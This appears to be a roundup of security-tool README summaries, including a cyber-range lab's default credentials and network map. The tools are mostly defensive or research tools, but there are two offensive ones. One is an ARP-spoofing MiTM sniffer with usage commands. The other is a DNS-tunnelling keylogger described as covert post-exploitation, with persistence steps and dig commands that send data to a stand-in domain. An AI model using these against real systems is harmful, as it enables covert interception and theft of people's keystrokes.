• http://defense.lab/vnc.html (default password: defensepassword)
• http://monitor.lab/vnc.html (default password: monitorpassword)
• https://gophish.lab:3333/ (default username: admin, default password: gophishpassword)
• https://server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://mail.server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• https://mail.server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
• http://phising.lab/
• http://10.0.0.200:8081/
• http://gitea.lab/ (default username: csalab, default password: giteapassword)
• http://dvwa.lab/ (default username: admin, default passowrd: password)
• http://dvwa-monitor.lab/ (default username: admin, default passowrd: password)
• http://dvwa-modsecurity.lab/ (default username: admin, default passowrd: password)
• http://wackopicko.lab/
• http://juiceshop.lab/
• https://wazuh-indexer.lab:9200/ (default username: admin, default passowrd: SecretPassword)
• https://wazuh-manager.lab/
• https://wazuh-dashboard.lab:5601/ (default username: admin, default passowrd: SecretPassword)
• http://splunk.lab/ (default username: admin, default password: splunkpassword)
• https://infectionmonkey.lab:5000/
• http://purpleops.lab/ (default username: admin@purpleops.com, default password: purpleopspassword)
• http://caldera.lab/ (default username: red/blue, default password: calderapassword)

Network / IP Address

Attack

• 10.0.0.100 attack.lab
• 10.0.0.200 phising.lab
• 10.0.0.201 server.lab
• 10.0.0.201 mail.server.lab
• 10.0.0.202 gophish.lab
• 10.0.0.110 infectionmonkey.lab
• 10.0.0.111 mongodb.lab
• 10.0.0.112 purpleops.lab
• 10.0.0.113 caldera.lab

Defense

• 10.0.1.101 defense.lab
• 10.0.1.10 dvwa.lab
• 10.0.1.13 wackopicko.lab
• 10.0.1.14 juiceshop.lab
• 10.0.1.20 gitea.lab
• 10.0.1.110 infectionmonkey.lab
• 10.0.1.112 purpleops.lab
• 10.0.1.113 caldera.lab

Monitor

• 10.0.3.201 server.lab
• 10.0.3.201 mail.server.lab
• 10.0.3.9 mariadb.lab
• 10.0.3.10 dvwa.lab
• 10.0.3.11 dvwa-monitor.lab
• 10.0.3.12 dvwa-modsecurity.lab
• 10.0.3.102 monitor.lab
• 10.0.3.30 wazuh-manager.lab
• 10.0.3.31 wazuh-indexer.lab
• 10.0.3.32 wazuh-dashboard.lab
• 10.0.3.40 splunk.lab

Public

• 10.0.2.101 defense.lab
• 10.0.2.13 wackopicko.lab

Internet

• 10.0.4.102 monitor.lab
• 10.0.4.30 wazuh-manager.lab
• 10.0.4.32 wazuh-dashboard.lab
• 10.0.4.40 splunk.lab

Internal

• 10.0.5.100 attack.lab
• 10.0.5.12 dvwa-modsecurity.lab
• 10.0.5.13 wackopicko.lab

License

This Docker Compose application is released under the MIT License. See the LICENSE file for details.

Espionage - A Linux Packet Sniffing Suite For Automated MiTM Attacks

Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.

Installation

1: git clone https://www.github.com/josh0xA/Espionage.git
2: cd Espionage
3: sudo python3 -m pip install -r requirments.txt
4: sudo python3 espionage.py --help

Usage

1. sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap
   Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
   
2. sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap
   Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
   
3. sudo python3 espionage.py --normal --iface wlan0
   Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
   
4. sudo python3 espionage.py --verbose --httpraw --iface wlan0
   Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
   
5. sudo python3 espionage.py --target <target-ip-address> --iface wlan0
   Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
   
6. sudo python3 espionage.py --iface wlan0 --onlyhttp
   Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
   
7. sudo python3 espionage.py --iface wlan0 --onlyhttpsecure
   Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
   
8. sudo python3 espionage.py --iface wlan0 --urlonly
   Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).
   
   
9. Press Ctrl+C in-order to stop the packet interception and write the output to file.
   

Menu

usage: espionage.py [-h] [--version] [-n] [-v] [-url] [-o] [-ohs] [-hr] [-f FILENAME] -i IFACE
                    [-t TARGET]

optional arguments:
  -h, --help            show this help message and exit
  --version             returns the packet sniffers version.
  -n, --normal          executes a cleaner interception, less sophisticated.
  -v, --verbose         (recommended) executes a more in-depth packet interception/sniff.
  -url, --urlonly       only sniffs visited urls using http/https.
  -o, --onlyhttp        sniffs only tcp/http data, returns urls visited.
  -ohs, --onlyhttpsecure
                        sniffs only https data, (port 443).
  -hr, --httpraw        displays raw packet data (byte order) recieved or sent on port 80.

(Recommended) arguments for data output (.pcap):
  -f FILENAME, --filename FILENAME
                        name of file to store the output (make extension '.pcap').

(Required) arguments required for execution:
  -i IFACE, --iface IFACE
                        specify network interface (ie. wlan0, eth0, wlan1, etc.)

(ARP Spoofing) required arguments in-order to use the ARP Spoofing utility:
  -t TARGET, --target TARGET

Writeup

A simple medium writeup can be found here:
Click Here For The Official Medium Article

Ethical Notice

The developer of this program, Josh Schiavone, written the following code for educational and ethical purposes only. The data sniffed/intercepted is not to be used for malicous intent. Josh Schiavone is not responsible or liable for misuse of this penetration testing tool. May God bless you all.

License

MIT License
Copyright (c) 2024 Josh Schiavone

C2-Tracker - Live Feed Of C2 Servers, Tools, And Botnets

Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.

The feed should update daily. Actively working on making the backend more reliable

Honorable Mentions

Many of the Shodan queries have been sourced from other CTI researchers:

• BushidoToken
• Michael Koczwara
• ViriBack
• Gi7W0rm
• @Glacius_

Huge shoutout to them!

Thanks to BertJanCyber for creating the KQL query for ingesting this feed

And finally, thanks to Y_nexro for creating C2Live in order to visualize the data

What do I track?

• C2's
  • Cobalt Strike
  • Metasploit Framework
  • Covenant
  • Mythic
  • Brute Ratel C4
  • Posh
  • Sliver
  • Deimos
  • PANDA
  • NimPlant C2
  • Havoc C2
  • Caldera
  • Empire
  • Ares
• Malware
  • AcidRain Stealer
  • Misha Stealer (AKA Grand Misha)
  • Patriot Stealer
  • RAXNET Bitcoin Stealer
  • Titan Stealer
  • Collector Stealer
  • Mystic Stealer
  • Gotham Stealer
  • Meduza Stealer
  • Quasar RAT
  • ShadowPad
  • AsyncRAT
  • DcRat
  • BitRAT
  • DarkComet Trojan
  • XtremeRAT Trojan
  • NanoCore RAT Trojan
  • Gh0st RAT Trojan
  • DarkTrack RAT Trojan
  • njRAT Trojan
  • Remcos Pro RAT Trojan
  • Poison Ivy Trojan
  • Orcus RAT Trojan
  • ZeroAccess Trojan
  • HOOKBOT Trojan
• Tools
  • XMRig Monero Cryptominer
  • GoPhish
• Botnets
  • 7777 Botnet

Running Locally

If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY

echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py

Contributing

I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).

References

• Hunting C2 with Shodan by Michael Koczwara
• Hunting Cobalt Strike C2 with Shodan by Michael Koczwara
• https://twitter.com/MichalKoczwara/status/1591750513238118401?cxt=HHwWgsDUiZGqhJcsAAAA
• BushidoToken's OSINT-SearchOperators
• https://twitter.com/MichalKoczwara/status/1641119242618650653
• https://twitter.com/MichalKoczwara/status/1641676761283850241
• https://twitter.com/_montysecurity/status/1643164749599834112
• https://twitter.com/ViriBack/status/1713714868564394336
• https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
• https://twitter.com/Glacius_/status/1731699013873799209

APKDeepLens - Android Security Insights In Full Spectrum

APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.

Features

APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:

• APK Analysis -> Scans Android application package (APK) files for security vulnerabilities.
• OWASP Coverage -> Covers OWASP Top 10 vulnerabilities to ensure a comprehensive security assessment.
• Advanced Detection -> Utilizes custom python code for APK file analysis and vulnerability detection.
• Sensitive Information Extraction -> Identifies potential security risks by extracting sensitive information from APK files, such as insecure authentication/authorization keys and insecure request protocols.
• In-depth Analysis -> Detects insecure data storage practices, including data related to the SD card, and highlights the use of insecure request protocols in the code.
• Intent Filter Exploits -> Pinpoint vulnerabilities by analyzing intent filters extracted from AndroidManifest.xml.
• Local File Vulnerability Detection -> Safeguard your app by identifying potential mishandlings related to local file operations
• Report Generation -> Generates detailed and easy-to-understand reports for each scanned APK, providing actionable insights for developers.
• CI/CD Integration -> Designed for easy integration into CI/CD pipelines, enabling automated security testing in development workflows.
• User-Friendly Interface -> Color-coded terminal outputs make it easy to distinguish between different types of findings.

Installation

To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:

For Linux

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd /APKDeepLens
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python APKDeepLens.py --help

For Windows

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd \APKDeepLens
python3 -m venv venv
.\venv\Scripts\activate
pip install -r .\requirements.txt
python APKDeepLens.py --help

Usage

To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.

python3 APKDeepLens.py -apk file.apk

If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.

python3 APKDeepLens.py -apk file.apk -source <source-code-path>

To generate detailed PDF and HTML reports after the scan you can pass -report argument as mentioned below.

python3 APKDeepLens.py -apk file.apk -report

Contributing

We welcome contributions to the APKDeepLens project. If you have a feature request, bug report, or proposal, please open a new issue here.

For those interested in contributing code, please follow the standard GitHub process. We'll review your contributions as quickly as possible :)

Featured at

• Blackhat MEA 2023 - https://blackhatmea.com/session/apkaleidoscope-android-security-insights-full-spectrum-0
• Blackhat ASIA 2024 - https://www.blackhat.com/asia-24/arsenal/schedule/index.html#apkdeeplens---android-security-insights-in-full-spectrum-37182

R2Frida - Radare2 And Frida Better Together

This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.

The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.

Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.

Features

• Run unmodified Frida scripts (Use the :. command)
• Execute snippets in C, Javascript or TypeScript in any process
• Can attach, spawn or launch in local or remote systems
• List sections, symbols, exports, protocols, classes, methods
• Search for values in memory inside the agent or from the host
• Replace method implementations or create hooks with short commands
• Load libraries and frameworks in the target process
• Support Dalvik, Java, ObjC, Swift and C interfaces
• Manipulate file descriptors and environment variables
• Send signals to the process, continue, breakpoints
• The r2frida io plugin is also a filesystem fs and debug backend
• Automate r2 and frida using r2pipe
• Read/Write process memory
• Call functions, syscalls and raw code snippets
• Connect to frida-server via usb or tcp/ip
• Enumerate apps and processes
• Trace registers, arguments of functions
• Tested on x64, arm32 and arm64 for Linux, Windows, macOS, iOS and Android
• Doesn't require frida to be installed in the host (no need for frida-tools)
• Extend the r2frida commands with plugins that run in the agent
• Change page permissions, patch code and data
• Resolve symbols by name or address and import them as flags into r2
• Run r2 commands in the host from the agent
• Use r2 apis and run r2 commands inside the remote target process.
• Native breakpoints using the :db api
• Access remote filesystems using the r_fs api.

Installation

The recommended way to install r2frida is via r2pm:

$ r2pm -ci r2frida

Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.

Compilation

Dependencies

• radare2
• pkg-config (not required on windows)
• curl or wget
• make, gcc
• npm, nodejs (will be soon removed)

In GNU/Debian you will need to install the following packages:

$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git

Instructions

$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install

Windows

• Install meson and Visual Studio
• Unzip the latest radare2 release zip in the r2frida root directory
• Rename it to radare2 (instead of radare2-x.y.z)
• To make the VS compiler available in PATH (preconfigure.bat)
• Run configure.bat and then make.bat
• Copy the b\r2frida.dll into r2 -H R2_USER_PLUGINS

Usage

For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.

$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link   = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://?                        # show this help
* frida://                         # list local processes
* frida://0                        # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2      # abspath to spawn
* frida://rax2                     # same as above, considering local/bin is in PATH
* frida://spawn/$(program)         # spawn a new process in the current system
* frida://attach/(target)          # attach to target PID in current host
USB:
* frida://list/usb//               # list processes in the first usb device
* frida://apps/usb//               # list apps in the first usb device
* frida://attach/usb//12345        # attach to given pid in the first usb device
* frida://spawn/usb//appname       # spawn an app in the first resolved usb device
* frida://launch/usb//appname      # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
  R2FRIDA_SAFE_IO=0|1              # Workaround a Frida bug on Android/thumb
  R2FRIDA_DEBUG=0|1                # Used to debug argument parsing behaviour
  R2FRIDA_COMPILER_DISABLE=0|1     # Disable the new frida typescript compiler (`:. foo.ts`)
  R2FRIDA_AGENT_SCRIPT=[file]      # path to file of the r2frida agent

Examples

$ r2 frida://0     # same as frida -p 0, connects to a local session

You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)

$ r2 frida://rax2  # attach to the first process named `rax2`
$ r2 frida://1234  # attach to the given pid

Using the absolute path of a binary to spawn will spawn the process:

$ r2 frida:///bin/ls
[0x00000000]> :dc        # continue the execution of the target program

Also works with arguments:

$ r2 frida://"/bin/ls -al"

For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.

$ r2 frida://spawn/usb/         # enumerate devices
$ r2 frida://spawn/usb//        # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app

Commands

These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.

:i        # get information of the target (pid, name, home, arch, bits, ..)
.:i*      # import the target process details into local r2
:?        # show all the available commands
:dm       # list maps. Use ':dm|head' and seek to the program base address
:iE       # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-*     # delete all traces

Plugins

r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.

See the plugins/ directory for some more example plugin scripts.

[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
  if (name === 'test') {
    return function(args) {
      console.log('Hello Args From r2frida plugin', args);
      return 'Things Happen';
    }
  }
});
[0x00000000]> :. example.js   # load the plugin script

The :. command works like the r2's . command, but runs inside the agent.

:. a.js  # run script which registers a plugin
:.       # list plugins
:.-test  # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)

Termux

If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.

$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...

Troubleshooting

Ensure you are using a modern version of r2 (preferibly last release or git).

Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.

If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.

Design

 +---------+
 | radare2 |     The radare2 tool, on top of the rest
 +---------+
      :
 +----------+
 | io_frida |    r2frida io plugin
 +----------+
      :
 +---------+
 |  frida  |     Frida host APIs and logic to interact with target
 +---------+
      :
  +-------+
  |  app  |      Target process instrumented by Frida with Javascript
  +-------+

Credits

This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.

I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos

Noia - Simple Mobile Applications Sandbox File Browser Tool

Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.

Installation & Usage

npm install -g noia
noia

Features

• Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

• View custom binary files. Directly preview SQLite databases, images, and more.

• Search application by name.

• Search files and directories by name.

• Navigate to a custom directory using the ctrl+g shortcut.

• Download the application files and directories for further analysis.

• Basic iOS support

and more

Setup

Desktop requirements:

• node.js LTS and npm
• Any decent modern desktop browser

Noia is available on npm, so just type the following command to install it and run it:

npm install -g noia
noia

Device setup:

Noia is powered by frida.re, thus requires Frida to run.

Rooted Device

See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

Non-rooted Device

• https://koz.io/using-frida-on-android-without-root/
• https://github.com/sensepost/objection/wiki/Patching-Android-Applications
• https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

Security Warning

This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

LICENCE

MIT

Skytrack - Planespotting And Aircraft OSINT Tool Made Using Python

About

skytrack is a command-line based plane spotting and aircraft OSINT reconnaissance tool made using Python. It can gather aircraft information using various data sources, generate a PDF report for a specified aircraft, and convert between ICAO and Tail Number designations. Whether you are a hobbyist plane spotter or an experienced aircraft analyst, skytrack can help you identify and enumerate aircraft for general purpose reconnaissance.

What is Planespotting & Aircraft OSINT?

Planespotting is the art of tracking down and observing aircraft. While planespotting mostly consists of photography and videography of aircraft, aircraft information gathering and OSINT is a crucial step in the planespotting process. OSINT (Open Source Intelligence) describes a methodology of using publicy accessible data sources to obtain data about a specific subject — in this case planes!

Aircraft Information

• Tail Number 🛫
• Aircraft Type ⚙️
• ICAO24 Designation 🔎
• Manufacturer Details 🛠
• Flight Logs 📄
• Aircraft Owner ✈️
• Model 🛩
• Much more!

Usage

To run skytrack on your machine, follow the steps below:

$ git clone https://github.com/ANG13T/skytrack
$ cd skytrack
$ pip install -r requirements.txt
$ python skytrack.py

skytrack works best for Python version 3.

Preview

Features

skytrack features three main functions for aircraft information

Aircraft Reconnaissance & OSINT

skytrack obtains general information about the aircraft given its tail number or ICAO designator. The tool sources this information using several reliable data sets. Once the data is collected, it is displayed in the terminal within a table layout.

PDF Aircraft Information Report

skytrack also enables you the save the collected aircraft information into a PDF. The PDF includes all the aircraft data in a visual layout for later reference. The PDF report will be entitled "skytrack_report.pdf"

Tail Number to ICAO Converter

There are two standard identification formats for specifying aircraft: Tail Number and ICAO Designation. The tail number (aka N-Number) is an alphanumerical ID starting with the letter "N" used to identify aircraft. The ICAO type designation is a six-character fixed-length ID in the hexadecimal format. Both standards are highly pertinent for aircraft

:warning: Converter only works for USA-registered aircraft

Data Sources & APIs Used

ICAO Aircraft Type Designators Listings

FlightAware

Wikipedia

Aviation Safety Website

Jet Photos Website

OpenSky API

Aviation Weather METAR

Airport Codes Dataset

Contributing

skytrack is open to any contributions. Please fork the repository and make a pull request with the features or fixes you want to implement.

Upcoming

• Obtain Latest Flown Airports
• Obtain Airport Information
• Obtain ATC Frequency Information

Support

If you enjoyed skytrack, please consider becoming a sponsor or donating on buymeacoffee in order to fund my future projects.

To check out my other works, visit my GitHub profile.

DNS-Tunnel-Keylogger - Keylogging Server And Client That Uses DNS Tunneling/Exfiltration To Transmit Keystrokes

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.

Server

Setup

The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting the Server

To start the server, run python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.

Registrar

On the registrar, you want to change your domain's namespace to custom DNS.

Point them to two domains, ns1.example.com and ns2.example.com.

Add records that make point the namespace domains to your exfiltration server's IP address.

This is the same as setting glue records.

Client

Linux

The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

logger.sh

# Usage: logger.sh [-options] domain
# Positional Arguments:
#   domain: the domain to send data to
# Options:
#   -p path: give path to log file to listen to
#   -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging.

logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

connection.sh

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.

make production domain=example.com

You can also choose to build the program with debugging by making the debug target.

make debug domain=example.com

For both targets, you will need to specify the domain the server is listening for.

Sending Test Requests

You can use dig to send requests to the server:

dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.

Replace example.com with the domain the server is listening for.

Protocol

Starting a Connection

A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.

The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].

The server will respond with an IP address in following format: 123.123.123.[id]

Concurrent connections cannot exceed 254, and clients are never considered "disconnected."

Exfiltrating Data

A record requests starting with b indicate exfiltrated data being sent to the server.

The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].

The server will respond with [code].123.123.123

id is the id that was established on connection. Data is sent as ASCII encoded in hex.

code is one of the codes described below.

Response Codes

200: OK

If the client sends a request that is processed normally, the server will respond with code 200.

201: Malformed Record Requests

If the client sends an malformed record request, the server will respond with code 201.

202: Non-Existant Connections

If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.

203: Out of Order Packets

If the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.

204 Reached Max Connection

If the client attempts to create a connection when the max has reached, the server will respond with code 204.

Dropped Packets

Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.

Side Notes

Linux

Log File

The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.

Non-Interactive Shells

The keylogger relies on script, so the keylogger won't run in non-interactive shells.

Windows

Repeated Requests

For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.

MrHandler - Linux Incident Response Reporting

MR.Handler is a specialized tool designed for responding to security incidents on Linux systems. It connects to target systems via SSH to execute a range of diagnostic commands, gathering crucial information such as network configurations, system logs, user accounts, and running processes. At the end of its operation, the tool compiles all the gathered data into a comprehensive HTML report. This report details both the specifics of the incident response process and the current state of the system, enabling security analysts to more effectively assess and respond to incidents.

  $ pip3 install colorama
  $ pip3 install paramiko
  $ git clone https://github.com/emrekybs/BlueFish.git
  $ cd MrHandler
  $ chmod +x MrHandler.py 
  $ python3 MrHandler.py

WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.

• [x] Scan Static Files.
• [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
• [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
cd web-wordlist-generator && pip3 install -r requirements.txt
python3 generator.py -d target-web.com

You can run this application on a container after build a Dockerfile.

docker build -t webwordlistgenerator .
docker run webwordlistgenerator -d target-web.com -o

You can run this application on a container after pulling from DockerHub.

docker pull osmankandemir/webwordlistgenerator:v1.0
docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o PRINT, --print PRINT Use Print outputs on terminal screen.

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!

• Generate a reverse shell command
• Obtain proxy
• Download & deploy common payloads
• Obtain reverse shell listener command
• Generate bash install script for common tools
• Generate bash download script for Wordlists
• Read common cheatsheets and payloads

secbutler -h

This will display the help for the tool

                   __          __  __
   ________  _____/ /_  __  __/ /_/ /__  _____
  / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
 (__  )  __/ /__/ /_/ / /_/ / /_/ /  __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
  secbutler [flags]
  secbutler [command]

Available Commands:
cheatsheet  Read common cheatsheets & payloads
  help        Help about any command
  listener    Obtain the command to start a reverse shell listener
  payloads    Obtain and serve common payloads
  proxy       Obtain a random proxy from FreeProxy
  revshell    Obtain the command for a reverse shell
  tools       Generate a install script for the most common cybersecurity tools
  version     Print the current version
  wordlists   Generate a download script for the most common wordlists

Flags:
  -h, --help   help for secbutler

Use "secbutler [command] --help" for more information about a command.

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.

secbutler is made with 🖤 by the GroundSec team and released under the MIT LICENSE.

BucketLoot - An Automated S3-compatible Bucket Inspector

To know more about our Attack Surface Management platform, check out NVADR.

Raven - CI/CD Security Analyzer

RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) is a powerful security tool designed to perform massive scans for GitHub Actions CI workflows and digest the discovered data into a Neo4j database. Developed and maintained by the Cycode research team.

With Raven, we were able to identify and report security vulnerabilities in some of the most popular repositories hosted on GitHub, including:

• FreeCodeCamp (the most popular project on GitHub)
• Storybook (One of the most popular frontend frameworks)
• Fluent UI by Microsoft
• and much more

We listed all vulnerabilities discovered using Raven in the tool Hall of Fame.

What is Raven

The tool provides the following capabilities to scan and analyze potential CI/CD vulnerabilities:

• Downloader: You can download workflows and actions necessary for analysis. Workflows can be downloaded for a specified organization or for all repositories, sorted by star count. Performing this step is a prerequisite for analyzing the workflows.
• Indexer: Digesting the downloaded data into a graph-based Neo4j database. This process involves establishing relationships between workflows, actions, jobs, steps, etc.
• Query Library: We created a library of pre-defined queries based on research conducted by the community.
• Reporter: Raven has a simple way of reporting suspicious findings. As an example, it can be incorporated into the CI process for pull requests and run there.

Possible usages for Raven:

• Scanner for your own organization's security
• Scanning specified organizations for bug bounty purposes
• Scan everything and report issues found to save the internet
• Research and learning purposes

This tool provides a reliable and scalable solution for CI/CD security analysis, enabling users to query bad configurations and gain valuable insights into their codebase's security posture.

Why Raven

In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:

• A simple injection scenario exposed dozens of public repositories, including popular open-source projects.
• We found that one of the most popular frontend frameworks was vulnerable to the innovative method of branch injection attack.
• We detailed a completely different attack vector, 3rd party integration risks, the most popular project on GitHub, and thousands more.
• Finally, the Microsoft 365 UI framework, with more than 300 million users, is vulnerable to an additional new threat – an artifact poisoning attack.
